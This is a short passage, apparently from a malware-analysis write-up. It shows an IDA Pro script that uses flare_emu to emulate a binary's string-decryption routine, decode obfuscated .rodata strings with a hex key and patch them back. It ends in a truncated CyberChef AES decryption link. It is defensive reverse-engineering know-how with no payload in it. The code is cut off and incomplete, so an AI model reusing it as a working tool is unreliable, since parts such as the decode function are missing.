    ro=ida_segment.get_segm_by_name(".rodata")

    if ro.start_ea <= argv[0] <=ro.end_ea:
```

```
        buff=eh.getEmuString(argv[0])
        if len(buff)>0:


            plain=decode(buff)
            print(hex(argv[0]),buff,"<==============>",plain)
            ida_bytes.put_bytes(argv[0],b'\x00'*len(buff))
            ida_bytes.put_bytes(argv[0],plain)


decstr_addr=0x0000FCD0
key=bytes.fromhex('43 72 61 63 6B 61 6C 61 63 6B 69 6E 27')
eh=flare_emu.EmuHelper()
eh.iterate(decstr_addr,iterateCallback)
```

CyberChef

```
https://gchq.github.io/CyberChef/#recipe=AES_Decrypt(%7B'option':'Hex','string':'2D
```